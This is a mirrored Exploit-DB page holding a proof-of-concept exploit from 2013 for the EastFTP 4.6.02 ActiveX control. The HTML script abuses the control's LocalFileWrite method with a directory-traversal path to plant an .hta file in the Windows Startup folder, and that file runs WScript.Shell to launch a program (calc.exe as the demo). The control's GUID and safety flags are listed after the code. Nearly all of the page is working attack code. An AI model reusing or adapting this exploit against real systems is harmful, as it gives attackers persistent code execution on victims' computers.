EastFTP 4.6.02 – ActiveX Control - 体验盒子

作者： Dr_IDE

日期： 2013-03-20

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/24863/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

#################################################################

#

# EastFTP ActiveX Control 0Day

# By: Dr_IDE

# Vendor Homepage:http://www.ftpocx.com/download.htm

# Version: 4.6.02

#

# Self Promotion: http://irresponsibledisclosure.blogspot.com

#################################################################

<html>

var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";

var king = "><" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";

var easy = 1;

target.LocalFileWrite(sofa,king,easy);

</script>

<body>

EaseFTP ActiveX Control 0-Day Local Exploit

By: Dr_IDE

Self Promotion: http://irresponsibledisclosure.blogspot.com

Vendor Homepage:http://www.ftpocx.com/download.htm

Version: 4.6.02

Class FtpLibrary

GUID: {31AE647D-11D1-4E6A-BE2D-90157640019A}

Number of Interfaces: 1

Default Interface: _FtpLibrary

RegKey Safe for Script: False

RegkeySafe for Init: False

KillBitSet: False

</body>

</html>